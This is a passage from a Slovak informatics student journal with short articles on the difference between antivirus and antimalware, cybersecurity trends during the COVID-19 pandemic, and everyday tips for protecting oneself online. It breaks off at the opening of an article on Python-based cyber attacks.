   Signal sa môže pochváliť najvyššou bezpečnosťou, ale bohužiaľ ešte stále nemá 
toľko sociálnych funkcií ako WhatsApp[3]. Veľa ľudí prechádza na túto platformu a 
to z dôvodu že patrí medzi najlepšie zabezpečenie súkromia z akejkoľvek aplikácií 
na odosielanie správ. 
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ANTIVÍRUS VS. ANTIMALVÉR 
 
ANTIVIRUS VS. ANTIMALWARE 
 
Lenka Lenártová 
 
Abstract 

The aim of this article is to clarify the difference between antivirus and 
antimalware applications. The article points out the importance of these 
applications for the security of the user himself, as well as his basic functions and 
information. 
 
Key words: antivirus, antimalware 
 
Abstrakt 

Cieľom tohoto článku je objasniť rozdiel medzi aplikáciami typu antivírus a 
antimalvér. Článok poukazuje na význam týchto aplikácií pre bezpečnosť 
samotného užívateľa a taktiež jeho základných funkcií a informácií.  
 
Kľúčové slová: antivírus, antimalvér 
 
Úvod 
   „Antivírus“ a „antimalvér“ znamenajú väčšinou to isté. Oba odkazujú na softvér 
určený na detekciu, ochranu pred a odstránenie škodlivého softvéru[10]. Napriek 
tomu, čo môže názov napovedať, antivírusový softvér chráni pred nielen vírusmi - 
na opísanie toho, čo robí, používa iba mierne zastaraný názov. Softvér proti 
malvéru je navrhnutý aj na ochranu pred vírusmi. Antimalvér iba používa 
modernejší názov, ktorý zahŕňa všetky druhy škodlivého softvéru vrátane vírusov. 
To znamená, že anti-malware môže zastaviť prebiehajúcu formu vírusovej infekcie 
a odstrániť infikované súbory. Antimalvér však nemusí byť nevyhnutne vybavený 
na obnovenie súborov, ktoré boli zmenené alebo nahradené vírusom. Antivírus aj 
anti-malware spadajú pod širší pojem „kybernetická bezpečnosť“.[9] 
   V diskusiách o kybernetickej bezpečnosti sa hovorí o mnohých pojmoch, ako 
napríklad antivírus a antimalvér. Aký je rozdiel? Aký je rozdiel medzi vírusmi a 
týmito týždňami? Ak uvažujete o ochrane svojich údajov pred hrozbami, ktoré by 
mohli ohroziť vaše podnikanie, je dôležité poznať definície týchto pojmov spolu s 
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dvoma ďalšími. Pri kontrole softvéru pre kybernetickú bezpečnosť ste mohli vidieť 
rôzne produkty, ktoré sa nazývajú antivírus, antimalvér, antispyvér, antiransomvér 
atď. Čo je teda vhodné pre vaše podnikanie? Už dávno pred umelou inteligenciou, 
keď ste si mohli zvoliť farbu svojho Macu tak, aby zodpovedala vašej miestnosti, 
boli počítačové vírusy jednoduché. Detekcia hrozieb bola rovnako ľahká ako nájsť 
„plazivý systém“ v rámci riadku kódu[4].  
   Pôvodný vírusový profil je dnes takmer zastaraný a do popredia sa dostávajú 
nebezpečnejšie formy škodlivého softvéru[8]. Aj keď je vírus v skutočnosti typom 
malvéru, nie všetky typy škodlivého softvéru sú vírusy - a niektoré sú 
nebezpečnejšie ako iné. Aký je rozdiel medzi antivírusovým a antimalvérovým 
softvérom? 
 
Vírus vs. Malvér 
   Počítačový vírus sa šíri od používateľa k užívateľovi prostredníctvom replikácie 
prostredníctvom programovania súborov. Antivírus pracuje na identifikácii 
známych hrozieb prostredníctvom detekcie na základe podpisu. Tento typ detekcie 
porovnáva podpisy súborov s databázou známeho škodlivého softvéru. Naproti 
tomu antimalvér využíva heuristickú detekciu na proaktívne vyhľadávanie 
zdrojového kódu, ktorý naznačuje hrozbu.  
 
Predstavuje antivírus to isté čo antimalvér? 
   Antivírus aj antimalvér boli vyvinuté na detekciu a ochranu pred škodlivým 
softvérom. Zatiaľ čo pojem antivírus znamená, že chráni iba pred počítačovými 
vírusmi, jeho vlastnosti dnes často chránia pred mnohými bežnými formami 
škodlivého softvéru. Antimalvér ide o krok ďalej a zameriava sa na širšie a 
pokročilejšie softvérové hrozby. Aby sme tejto téme porozumeli, budeme hovoriť o 
antivírusovom softvéri, ktorý nebol inovovaný na detekciu a ochranu škodlivého 
softvéru. 
 
Čo vlastne zmanená antivírus?  
   Základný antivírusový softvér vyhľadáva vo všetkých zariadeniach známe vírusy. 
Bezplatný antivírus zvyčajne ponúka iba minimálnu úroveň ochrany pred 
klasickými vírusmi, pretože ide o keyloggery a červy, zatiaľ čo prvé verzie chránia 
pred pokročilejšími hrozbami a dokonca obsahujú aj nástroje na odstránenie 
škodlivého softvéru[6]. 
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Čo je to antimalwarový softvér 
   Kybernetické hrozby sa neustále vyvíjajú. Zatiaľ čo antivírusový softvér môže 
chrániť pred bežnými typmi vírusov, antimalvér softvér sa používa na zisťovanie 
nových opakovaní infekcií. Antimalvérový softvér sa bráni proti škodlivému 
softvéru druhej generácie, ktorý tradičný antivírusový softvér nie vždy zistí. 
 
Čo by mal obsahovať váš antivírusový softvér? 
Medzi kľúčové ukazovatele komplexného antivírusového softvéru sú[4]: 
• Kontrola v reálnom čase: kontrola na pozadí znamená, že program detekuje 

hrozby hneď, ako na ne narazíte. 
• Automatické aktualizácie: Aktualizácie sa zameriavajú na všetky nové formy 

škodlivého softvéru od inštalácie. 
• Odstráňte hrozby: váš softvér by mal odstrániť malvér, nielen ho zistiť a 

blokovať. 
 
Čo treba hľadať v antimalvérovom softvéri 
Či už nájdete samostatný softvér proti malvéru alebo si kúpite antivírus s pridanými 
funkciami, hľadajte program s týmto: 
• Sandboxing: Toto kontrolované prostredie umožňuje softvéru testovať 

podozrenie na hrozby a zistiť[2], či je ich použitie bezpečné alebo nie.[1] 
• Filtrovanie prenosu: Tento typ filtrovania chráni vaše zariadenie blokovaním 

prístupu na podozrivé servery a stránky spojené s distribúciou škodlivého 
softvéru[3]. 

• Proaktívne zabezpečenie: Váš softvér by mal skenovať, zisťovať a 
odstraňovať známe malvérové hrozby, ako sú trójske kone, adware a 
spyware.[11] 

 
Aké výrazy je ešte potrebné poznať? 
   Spyware je ďalším populárnym pojmom v oblasti kybernetickej bezpečnosti. Je 
to softvér, ktorý sa implantuje do systému bez vedomia používateľa. Jeho hlavným 
účelom je zvyčajne zhromažďovanie informácií. Spyware môže zhromažďovať 
návyky prehliadania, stlačenie klávesov alebo osobné informácie. Adware je typ 
spywaru, ktorý dodáva reklamy tam, kde by nemali byť, napríklad nekonečné 
kontextové okná a množstvo hypertextových odkazov na každú navštívenú 
webovú stránku. 
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   Ransomware je veľmi škodlivý program, ktorý sa zameriava na konkrétny 
systém a vydiera používateľa. Program informuje používateľa, že uvoľní súkromné 
informácie alebo ich zablokuje z ich dôležitých aplikácií alebo súborov, kým 
nezaplatí výkupné, zvyčajne vo forme kryptomeny. Výkupné môže byť stovky až 
tisíce dolárov pre jednotlivcov a milióny pre korporácie. 
   Trójske kone a červy sú spôsoby doručovania škodlivých programov a kódov. 
Trójsky kôň je malware maskovaný ako legitímna aplikácia. Červy sú programy, 
ktoré infikujú systém a šíria sa sieťami a inými počítačmi pomocou rôznych metód, 
napríklad e-mailu, okamžitých správ a programov typu peer-to-peer. 
 
Potrebujete teda antivírus a antimalvér? 
V ideálnom prípade by ste mali dostať komplexné ochranné riešenie na ochranu 
podnikovej siete počítačov a serverov, ktoré dokáže zabrániť a neutralizovať 
hrozby. Bez ohľadu na to, či sa o produkte tvrdí, že je antivírusový alebo anti-
malware, mali by ste skontrolovať rámec pomenovaní, aby ste sa ubezpečili, že 
produkt chráni pred všetkými typmi škodlivého softvéru. Robí to mnoho 
významných značiek v oblasti kybernetickej bezpečnosti, a to aj vo svojich 
najzakladanejších balíkoch. Antivírus sa javí ako menší z dvoch bezpečnostných 
softvérov, tak prečo by ste potrebovali oba? Antimalvér sa zameriava na nové 
hrozby, zatiaľ čo antivírus vás chráni pred tradičnými verziami, ako sú červy a 
phishingové útoky, ktoré môžu stále poškodiť vaše zariadenie. Tieto dva programy 
sa navzájom dopĺňajú antivírusovým softvérom navrhnutým na doplnenie 
antivírusovej ochrany, pretože prostredie kybernetických hrozieb je čoraz 
sofistikovanejšie. 
   Antivírus považujte za proaktívnu ochranu pred hrozbami, ktoré infikujú vaše 
zariadenie, zatiaľ čo antimalvér koreňuje a ničí aktivovaný malware. Mať obe 
aplikácie maximalizuje ochranu pred rastúcou hrozbou útokov škodlivého softvéru. 
Pretože sú kybernetické útoky čoraz rozšírenejšie a sofistikovanejšie, antimalware 
sa prispôsobuje a chráni. To však neobmedzuje potrebu antivírusovej ochrany. 
Pretože obidva programy bežia súčasne a je pri nich zaistené bezpečné 
prehliadanie webu, budete v maximálnej možnej miere chránení pred hrozbami, 
ktoré sa snažia preniknúť do vášho zariadenia. 
 
Záver 
   Od stolných počítačov a notebookov až po tablety a smartphony sú všetky naše 
zariadenia zraniteľné voči malvéru.[7] Kto by dostal na výber, kto by nechcel 
zabrániť infekcii namiesto riešenia následkov? Samotný tradičný antivírus túto 
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úlohu nezvláda, o čom svedčí pravidelný prúd novinových titulkov, ktoré informujú 
o ďalšom úspešnom kybernetickom útoku[5]. Čo by ste mali robiť, aby ste boli v 
bezpečí? Aký druh softvéru pre kybernetickú bezpečnosť - antivírusový alebo 
antimalvérový - by sa mal rozhodnúť pre riešenie hrozieb, ktoré pozostávajú zo 
starých vírusov a vznikajúceho škodlivého softvéru? Faktom je, že tradičný 
antivírus sám osebe nestačí, o čom svedčí pravidelný prúd novinových titulkov, 
ktoré informujú o ďalšom úspešnom kybernetickom útoku. Je nedostatočná proti 
vznikajúcim hrozbám zero-day, umožňuje ransomvéru úspešne uniesť počítače a 
úplne neodstraňuje malware. Potrebný je pokročilý program kybernetickej 
bezpečnosti, ktorý je dostatočne flexibilný a inteligentný na predvídanie dnešných 
čoraz sofistikovanejších hrozieb. 
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ČO PLATILO PRE KYBERNETICKÚ BEZPEČNOSŤ 
POČAS PANDÉMIE 2020 A ČO BUDE PLATIŤ POČAS 
2021? 
 
WHAT APPLIED TO CYBER SECURITY DURING THE 2020 PANDEMIC AND WHAT 
WILL APPLY DURING 2021? 
 
Barbora Ferenčíková 
 
Abstract 
   The aim of the article is to describe changes in the use of ICT during the pandemic 
situation of COVID-19 and to describe emerging new technologies. 
 
Key words: automation, remote work, security 
 
Abstrakt 
   Cieľom článku je popísať zmeny vo využívaní IKT počas pandemickej situácie 
COVID-19 a popísať nastupujúce nové technológie.  
 
Kľúčové slová: automatizácia, vzdialená práca, bezpečnosť 
 
Úvod 
   Nový vírus COVID 19 ovplyvnil svetové hospodárstvo, každodenný život a ľudské 
zdravie na celom svete a zmenil spôsob, akým jednotlivci pracujú a komunikujú 
obvyklým spôsobom. Bez ohľadu na naliehavé riziko, ktoré vírus predstavuje pre 
ľudské zdravie, však tieto rýchle zmeny priniesli prostredie, v ktorom sa darí 
všetkým hackerom, podvodníkom a spamerom.[2] 
   O roku 2020 môžeme hovoriť ako o roku bojov, zmien  a neistoty. Tento rok málo 
kto predpovedal. Väčšina podnikateľov sa musela prispôsobiť úplne inému 
pracovnému prostrediu s veľmi odlišnými bezpečnostnými potrebami. Aj keď sa 
málokto bude chcieť ohliadnuť za rokom 2020, bude mať zásadný vplyv na budúci 
rok a ďalšie roky. Myslím si, že priemysel v oblasti kybernetickej bezpečnosti sa 
bude tento rok ešte viac vyvíjať.[6] 
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Využívanie IKT 
   Sieťová prevádzka súvisiaca s videokonferenciami, streamovacími službami, 
spravodajskými webmi a webovými stránkami elektronického obchodu sa prudko 
zvýšila a poskytovatelia komunikačných služieb zaznamenávajú dramaticky 
zvýšené zaťaženie sietí, pretože viac ľudí každý deň pracuje, študuje, zväčšuje a 
streamuje z domu[5]. 
   Náhly prechod na prácu na diaľku bol zďaleka jedným z najväčších rizík 
kybernetickej bezpečnosti v roku 2020 a môžeme očakávať, že to bude 
pokračovať aj v roku 2021. Mnoho spoločností muselo rýchlo prejsť od podpory 
niekoľkých pracovníkov na diaľku až k riadeniu takmer celej svojej pracovnej sily 
vzdialene a to skutočne kladie veľký dôraz na tie spoločnosti, ktoré zaostali v 
oblastiach ako sú IT systémy. Nevedeli rýchlo zabezpečiť presun zamestnancov na 
online pracoviská.  Presun všetkých zostávajúcich starších systémov do úložiska - 
cloudu bude hlavnou prioritou v tomto  roku 2021. Bude to tiež znamenať 
sprievodnú investíciu do bezpečnostných riešení a procesov, ktoré znížia riziko 
cloudovej infraštruktúry[4]. 
   Silná kontrola prístupu bude jednou z najväčších bezpečnostných priorít v roku 
2021. Bez zavedenia správnych kontrol môže úplne vzdialená pracovná sila vytvoriť 
viac príležitostí na zneužitie počítačovými zločincami. Pre aktérov hrozieb je 
jednoduchšie skryť podozrivú aktivitu, keď sa pracovníci prihlasujú z oveľa širšej 
škály zariadení a umiestnení a v neobvyklých časoch. 
   Vo výsledku bude pre podniky dôležitejšie ako kedykoľvek predtým, aby boli 
vyzbrojené silnými kontrolami identity a prístupu, ktoré využívajú prístup založený 
na riziku. Namiesto jednoduchej kontroly poverení sa prístup k citlivým aktívam 
podobá imigračnej kontrole na letisku, ktorá zohľadňuje množstvo rôznych 
prvkov[8]. 
 
Vyvíjajúca sa automatizácia a IoT 
   Automatizácia a internet vecí boli hlavnými trendami posledných niekoľkých 
rokov. Predpokladám, že nastal čas sa plne venovať IoT aj v roku 2021. Používanie 
automatizovaných pripojených strojov bolo predtým veľkou prioritou v prípadoch 
použitia, keď je drahé alebo nebezpečné posielať ľudský personál, ako napr. 
použitie dronov na úlohy, ako je kontrola porúch plynovodov.[1] 
   Do budúcnosti predpokladám, že využitie internetu vecí a automatizácie sa rozšíri 
do ďalších prípadov použitia, pretože bude výhodnejšie udržiavať personál v práci 
na diaľku a v bezpečí. Okrem vplyvu pandémie sa vďaka rozvoju technológií stala 
internetová sieť oveľa životaschopnejšou. Napríklad 5G poskytuje nielen oveľa 
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vyššie rýchlosti prenosu dát, ale tiež znižuje spotrebu energie. To znamená, že 
pripojené zariadenia môžu byť zostavené tak, aby boli menšie, efektívnejšie a 
cenovo dostupnejšie. Zvýšené používanie pripojených zariadení znamená aj väčšie 
zameranie na bezpečnosť. Softvér zariadenia musí byť dobre zabezpečený a 
pripojenie musí byť riadené procesmi správy prístupu.[7] 
 
Vplyv na bezpečnostný priemysel 
   Zrýchlený prechod na prácu na diaľku bude mať tiež veľký vplyv na nábor a 
kariérne príležitosti v našom vlastnom priemysle. Ľudia precestovali stovky 
kilometrov za pracovnými príležitosťami. Rok 2020 dokázal, že v mnohých 
oblastiach, najmä v kybernetickej bezpečnosti, je nevyhnutnosťou. 
   Aj keď je pandémia COVID-19 konečne v spätnom zrkadle a protipandemické 
opatrenia sú učinné, je nepravdepodobné, že sa tento trend obráti. Očakávam, že 
sa v priebehu najbližších rokov začnú technologické miesta ako Bratislava alebo 
Košice byť menej osídlené, pretože miesto bude čoraz menej dôležité, keďže práca 
sa bude viac robiť z domu. Spomíname práve Bratislavu a Košice, keďže tam sídli 
väčšina centrálnych firiem na Slovensku. 
   Jednotlivci budú mať tiež väčšiu slobodu v kariére bez toho, aby boli 
obmedzovaní podľa miesta, čo je pre bezpečnostný priemysel určite prínosom. 
Predajcovia a organizácie budú môcť najať to najlepšie v odbore, pričom budú 
oveľa menej limitovaní svojou geografickou polohou. 
   Niektoré spoločnosti v bezpečnostnom sektore už pred pandémiou vykonávali 
úplne vzdialené operácie. Aby táto práca fungovala, potrebujú firmy veľmi silnú 
etiku spoločnosti, solídne komunikačné stratégie a spoľahlivé metriky na meranie 
pokroku. Mnoho bezpečnostných úloh bude tiež vyžadovať spoľahlivé a 
vysokorýchlostné pripojenie na internet. Dlhodobá práca na diaľku si vyžaduje 
disciplínu a sústredenie, takže tieto vlastnosti budú pri prijímaní zamestnancov stále 
dôležitejšie . 
 
Ako bojovať proti domácim kybernetickým hrozbám 
   Za normálnych okolností je v „štandardnom“ kancelárskom prostredí IT 
oddelenie a všetky druhy služieb a produktov, ktoré sú určené na ochranu 
podnikových sietí pred vonkajšími hrozbami, tým pádom je všetko zabezpečené[9]. 
Na druhej strane ľudia, ktorí si prinesú všetku svoju prácu domov, bez toho, aby 
všetky tieto produkty chránili, zvyšujú riziko niekoľkými spôsobmi. Po prvé, domáca 
sieť nie je chránená tak dobre ako sieť organizácie. Okrem toho „otvorenie dverí“ 
do vašej domácej siete teraz tiež otvára dvere do vašej organizácie[3]. Druhá strana 
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môže využiť Vašu domácu sieť a zneužiť Vaše súkromie, poprípade prihlasovacie 
údaje do internetbankingu[10]. 
 
Záver 
    Protipandemické opatrenia na celom svete vyvolali potrebu zmien chápania 
a využívania IKT- zmena využívania IKT z podniku smerom na využívanie IKT 
v domácom prostredí zamestnanca – homeoffice. Pochopenie nových hrozieb ale 
aj príležitostí v podobe automatizácie, vzdialenej práce a zmeny vnímania 
bezpečnosti zmenia pravdepodobne svet budúcnosti už čoskoro a s trvalými 
následkami. 
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AKO SA EFEKTÍVNE CHRÁNIŤ PRED INTERNETOVÝMI 
NÁSTRAHAMI 
 
HOW TO EFFECTIVELY PROTECT YOURSELF FROM TRAPS ON THE INTERNET 
 
Veronika Gajarská 
 
Abstract 
   Nowadays, antivirus protection is not enough, so we must follow certain security 
principles when visiting the Internet. Antivirus is a type of computer program that is 
designed to detect and remove computer viruses that have infected your 
computer. They can also block new viruses from infecting your system. Most of 
these applications can also clean any form of malware from your system, not just 
viruses. There are many factors to consider when choosing the best antivirus 
solution for your needs. Because the security of your data, your digital identity, and 
the security of your financial transactions are at stake, it pays to invest some time 
in evaluating each antivirus product. 
 
Key words: Antivirus software, virus, malware, online shopping, Internet security, 
 
Abstrakt 
   V dnešnej dobe nie je antivírusová ochrana dostačujúca, preto pri návšteve 
internetu musíme dodržiavať určité zásady bezpečnosti. Antivírus je typ 
počítačového programu, ktorý je navrhnutý na vyhľadanie a odstránenie 
počítačových vírusov, ktoré infikovali váš počítač. Môžu tiež blokovať infikovanie 
vášho systému novými vírusmi. Väčšina týchto aplikácií dokáže z vášho systému 
vyčistiť aj akúkoľvek formu škodlivého softvéru (malware), nielen vírusy. Pri výbere 
najlepšieho antivírusového riešenia pre vaše potreby musíte brať do úvahy veľa 
faktorov. Keďže je v hre  bezpečnosť vašich údajov, vaša digitálna identita a 
bezpečnosť finančných transakcií, oplatí sa investovať nejaký čas do posúdenia 
každého antivírusového produktu. 
 
Kľúčové slová: Antivírusový softvér, vírus, malware, online nakupovanie, 
internetová ochrana 
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Úvod 
   Ak vo veľkej miere využívate internet, e-mail, chatovanie a ďalšie webové služby, 
je dôležité zvážiť riešenie, ktoré obsahuje softvér a technológie na internetové 
zabezpečenie, vďaka ktorým môžu byť vaše online aktivity oveľa bezpečnejšie. V 
posledných rokoch, no najmä v posledných mesiacoch, došlo k obrovskému 
nárastu online nákupov. Online obchody ponúkajú spotrebiteľom viac možností 
výberu produktov, ale i služieb. Kamenné obchody ponúkajú taktiež možnosť 
nakupovania cez internet, aby zostali konkurencieschopné a udržali si tak nejaký 
podiel na online trhu.[6] 
   Po príchode pandémie Covid-19 státisíce obchodov prešlo na internetový predaj. 
S nárastom aktivity spotrebiteľov na internete, sa bohužiaľ zvýšila aj snaha 
počítačových zločincov zamerať sa na tých neopatrných a neinformovaných[7]. Čo 
malo za následok obrovské straty tých, ktorí sa stali obeťami takýchto 
bezohľadných činov. 
 
Výber správneho antivírusového softvéru 
   Pri výbere toho správneho antivírusového softvéru, by ste sa mali zamerať na 
viaceré kritériá, ktoré vám pomôžu s jeho výberom. Jedným z najdôležitejších 
kritérií je spoľahlivosť. Aj to najdokonalejšie antivírusové riešenie sa môže ukázať 
ako absolútne zbytočné, ak je v konflikte s niektorým zo softvérov, ktorý je 
spustený vo vašom počítači. Ak tieto konflikty vedú k zlej funkčnosti[4] 
antivírusového softvéru alebo dočasnému pozastaveniu procesov antivírusovej 
ochrany, mohlo by to uškodiť vám, ale aj vašim údajom. 
   Ďalším kritériom, ktoré treba zohľadňovať je použiteľnosť antivírusového 
programu. Ak si každodenná prevádzka antivírusového riešenia vyžaduje špeciálne 
zručnosti, môže to byť pre mnohých používateľov nepraktické. Akýkoľvek 
antivírusový produkt, ktorého použitie je nepríjemné, kladie užívateľovi zložité 
otázky alebo ho potrebuje, aby urobil zložité rozhodnutia, je tu pravdepodobnosť, 
že sa zvýšia „chyby operátora“. V niektorých prípadoch, ak je antivírusový softvér 
príliš náročný na chod, môže ho používateľ proste deaktivovať. 
   Tretím kritériom, ktorému je potrebné sa dostatočne venovať pri výbere 
vhodného antivírusového programu, je komplexnosť poskytovanej ochrany. 
Antivírusové riešenie by malo poskytovať nepretržitú ochranu všetkých 
počítačových domén, všetkých typov súborov a všetkých sieťových prvkov, ktoré 
by mohli byť predmetom napadnutia počítačového vírusu alebo iného škodlivého 
softvéru. Program by mal byť schopný detegovať škodlivý kód a taktiež chrániť 
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všetky kanály alebo vstupné body do počítača - vrátane e-mailov, internetu, FTP a 
ďalších.[3] 
   V neposlednom rade je dôležité sa sústrediť na kritérium, ktorým je kvalita 
poskytovanej ochrany. Či už potrebujete antivírusové ochranné riešenie pre Apple 
alebo Windows, každý musí byť schopný pracovať v agresívnom prostredí, ktoré 
sa neustále mení. Nové počítačové vírusy, červy či malwary, ktoré môžu byť oveľa 
zložitejšie ako tie predtým známe[13], môžu zahŕňať nové spôsoby, ako sa vyhnúť 
detekcii antivírusových programov. Kvalita ochrany čiastočne závisí od ďalších 
faktorov, ako je efektívnosť procesov detekcie malwaru, frekvencia a pravidelnosť 
aktualizácií, schopnosť odstraňovať infekcie či efektívnosť pri poskytovaní ochrany 
bez výrazného vplyvu na výkon zariadenia.  
 
Bezpečnostné zásady 
   Pre efektívnu internetovú bezpečnosť nám nestačí iba spoľahlivý antivírusový 
program, ale je potrebné dodržiavať určité zásady, ktoré nám pomôžu pri tom ,aby 
sme zostali chránení voči internetovým vonkajším vplyvom. Zatiaľ čo internetové 
podvody a kybernetickí zločinci prekvitajú, nemusí to nevyhnutne znamenať, že sa 
musíte úplne vyhýbať online nakupovaniu. Bezpečné online nakupovanie je možné 
za predpokladu, že budete dodržiavať preventívne opatrenia a budete postupovať 
podľa užitočných tipov a rád pre internetovú bezpečnosť[5]. Dodržiavaním týchto 
nasledujúcich bodov budete môcť nielen bezpečne nakupovať ale aj vykonávať 
iné online aktivity.[8] 
   Ako prvé sme do zoznamu užitočných tipov zahrnuli bezpečné vyhľadávanie na 
internete. Pri vyhľadávaní produktov, recenzii či porovnávaní cien jednotlivých e-
shopov používame rôzne vyhľadávacie enginy, pričom riskujeme otvorenie 
stránky, ktorá môže byť infikovaná. Takáto infikovaná stránka nás môže zaviesť k 
malwaru namiesto zamýšľaného cieľa. Malware nám môže v používanom zariadení 
spustiť pohromu[9], prípadne môže slúžiť na ukradnutie našich dát z počítača, ako 
sú heslá a prihlasovacie údaje k rôznym účtom. Pre vyhnutie sa takejto situácie, 
môžeme používať nástroje antivírusových softvérov, ktoré slúžia na overenie 
odkazu, či je nakazený škodlivým vírusom alebo softvérom, alebo je bezpečné na 
túto stránku vstúpiť. 
Ďalším užitočným tipom ako neotvárať infikované odkazy je zadať adresu URL do 
adresového riadka v prehliadači (5). Podvodníci, ktorí posielajú phishingové e-maily 
sa spoliehajú, že otvoríte odkaz z e-mailu, ktorí vás presmeruje na podvodnú 
stránku[1]. Falošná stránka sa môže vizuálne podobať na tú pravú, ale v skutočnosti 
to nie je tá stránka, ktorú ste chceli navštíviť. Pri zadávaní prihlasovacích údajov na 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

48  http://www.manazerskainformatika.sk 
 

takúto stránku, ich v skutočnosti poskytujete podvodníkom[2], ktorí môžu tieto údaje 
zneužiť. Pre väčšiu bezpečnosť, vždy radšej zadajte požadovanú adresu stránky 
do adresového riadku, tým si budete istý, že navštevujete autentickú stránku. 
Musíte vykonať viac úkonov, no trochu viac úsilia, vás môže zachrániť pred 
zneužitím vašich údajov.[10] 
   Pre prihlásenie do vašim online účtov, nepoužívajte verejné Wi-Fi pripojenie. Na 
verejných priestranstvách, ako sú kaviarne, hotely či nákupné centrá, poskytujú 
svojim zákazníkom bezplatné Wi-Fi pripojenie na internet. Takáto služba je vhodná 
na prezeranie si internetu, správ prípadne kontrolu e-mailov, no používanie 
verejného pripojenia na prihlasovanie sa do súkromných online účtov je 
obrovským bezpečnostným rizikom. Pre prístup na internet na verejných 
priestranstvách, vždy radšej používajte mobilné pripojenie na vašich mobilných 
zariadeniach. Uchránite tak svoje údaje pred kybernetickými zločincami.[12] 
   Ďalším tipom ako sa ubrániť pred zneužitím vašich dát, je používanie 
jednorazovej virtuálnej karty pre platbu na internete. Kybernetickí zločinci dokážu 
používať sofistikované techniky a malwary, ktoré ukradnú údaje z vašej platobnej 
karty. Niektoré banky ponúkajú možnosť generácie náhodného čísla platobnej 
karty, ktoré sa vždy generuje iné. Stačí o to požiadať cez mobilnú aplikáciu 
príslušnej banky, ktorá vydala vašu platobnú kartu. Toto uchráni vaše financie pred 
podvodníkmi, keďže ukradnuté údaje boli už raz použité. 
   V neposlednom rade tu máme spravovanie a ochrana vašich hesiel. Používanie 
silných hesiel a používanie iného hesla pre každý online účet je jednou z 
najdôležitejších vecí, ktoré môžete urobiť pre bezpečie na internete. Zapamätanie 
si toľkých rôznych hesiel, najmä keď sa skladajú z mnohých písmen, čísel a 
špeciálnych znakov, môže byť náročné. Preto je možné použiť správcu hesiel, ktorý 
vám pomôže uchovávať silné heslá do rôznych účtov. Užitočný správca hesiel 
zašifruje vaše heslá, ktoré by inak boli vo formáte obyčajného textu. Niektoré 
antivírusové a ochranné internetové softvéry zahŕňajú správu hesiel a funkcie 
zabezpečenia hesla.[11] 
 
Záver 
   Ochrana je komplexnejšia ako len výber správneho a vhodného antivírusového 
softvéru pre nás a dodržiavanie zásad ochrany našich údajov. Najzásadnejším 
pravidlom ochrany je silné heslo, ktoré nepoužívame na každej stránke rovnaké. 
Vďaka správcovi hesiel môžeme mať mnoho silných hesiel a nemusíme si ich 
pamätať. Veľa odborníkov má iný názor na dĺžku hesla, no myslím, že každý sa 
zhodne na tom, že je potrebné požívať heslo, ktoré obsahuje všetky druhy znakov. 
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Dodržiavaním dôležitých zásad ochrany našich údajov a používaním dostatočne 
silných hesiel chránime naše údaje pred možnými kybernetickými nástrahami 
internetu. 
 
Použitá literatúra 
 
[1]   CUPPENS, F. et al.Ed. Risks and Security of Internet and Systems: 12th 
International Conference, CRiSIS 2017, Dinard, France, September 19-21, 2017, 
Revised Selected Papers. . 1st ed. 2018. vyd. Cham: Springer International Publishing : 
Imprint: Springer, 2018. 1 s. ISBN 978-3-319-76687-4. 

[2]   CHANGE, H.Ed. Phishing Detection via Identification of Website Identity. In 2013 
International Conference on IT Convergence and Security (ICITCS 2013): Macao, 16 
- 18 December 2013 . Piscataway, NJ: IEEE, 2013. ISBN 978-1-4799-2845-3. 

[3]   KAROVIČ, V. et al. Nasadenie virtualizačného prostredia OpenStack na 
výučbové účely: časť 1. In Marketing science and inspirations . 2016. s. 43–52. . 

[4]   KORET, J. - BACHAALANY, E. The antivirus hacker’s handbook [online]. . 2015. 
ISBN 978-1-119-02876-5. 

[5]   MALELA, S. - KUMAR, S. Internet Security—A Brief Review. In Electrical 
Engineering. Singapore . Singapore: Springer, 2018. ISBN 978-981-10-7329-8. 

[6]   MATUŠOVIČ, M. et al. Protection of Competition - the Global Economic Crisis VI. 
. Mukařov - Srbín: Ľuboš Janica, 2018. 190 s. ISBN 978-80-270-1037-0. 

[7]   MOHANTA, A. - SALDANHA, A. Malware Analysis and Detection Engineering: A 
Comprehensive Approach to Detect and Analyze Modern Malware. . Berkeley: 
Apress, 2020. ISBN 978-1-4842-6193-4. 

[8]   PORADA, V. et al. Kybernetická bezpečnost. 6. In Bezpečnostní vědy : úvod do 
teorie, metodologie a bezpečnostní terminologie . Plzeň: Vydavatelství a 
nakladatelství Aleš Čeněk, 2019. s. 160–182. ISBN 978-80-7380-758-0. 

[9]   VAN OORSCHOT, P.C. Computer Security and the Internet: Tools and Jewels 
[online]. . Chom: Springer, 2020. ISBN 978-3-030-33649-3. 

[10]   VESELÝ, P. Definice kybernetické bezpečnosti, kybernetických útoků a 
kybernetické kriminality. In Bezpečnostní vědy : úvod do teorie, metodologie a 
bezpečnostní terminologie . Plzeň: Vydavatelství a nakladatelství Aleš Čeněk, 2019. 
s. 160–175. ISBN 978-80-7380-758-0. 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

50  http://www.manazerskainformatika.sk 
 

[11]   VESELÝ, P. Manažment ochrany informácií. . Praha: TopSmart Business, 2020. 
ISBN 978-80-270-9014-3. 

[12]   VOJTECHOVSKÝ, J. - VESELÝ, P. Zabezpečenie ochrany webového sídla pred 
útokmi typu DDoS a inými rizikami. In Aktuálne výzvy prevencie počítačovej 
kriminality [elektronický dokument] : zborník príspevkov z vedeckej konferencie s 
medzinárodnou účasťou konanej dňa 21 . Bratislava: Akadémia Policajného zboru 
v Bratislave, 2018. s. 209–216. ISBN 978-80-8054-774-5. 

[13]   WANJALA, M.Y. - JACOB, N.M. Review of Viruses and Antivirus Patterns. In 
Global Journal of Computer Science and Technology . 17. vyd.2017. [cit. 2020-12-01]. 
. . 

 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

51  http://www.manazerskainformatika.sk 
 

 

ÚTOKY V JAZYKU PYTHON - AKO IM PREDCHÁDZAŤ? 
 
PYTHON CYBER ATTACKS - HOW TO PREVENT THEM? 
 
Lukáš Bočkaj 
 
Abstract 
   The aim of this article is to acquaint the reader with the usability of the python 
programming language in attacks in the online environment and how to prevent 
them. 
 
Key words: python, programming language, hacker attack, cybercrime 
 
Abstrakt 
   Cieľom tohto článku je oboznámiť čitateľa s použiteľnosťou programovacieho 
jazyka python pri útokoch v online prostredí a ako im predchádzať. 
 
Kľúčové slová: python, programovací jazyk, hackerský útok, kybernetická 
kriminalita 
 
Úvod 
   Podľa výsledkov posledného prieskumu portálu Stack Overflow je Python 
najrýchlejšie sa rozvíjajúci programovací jazyk. V popularite už prekonal aj C#. 
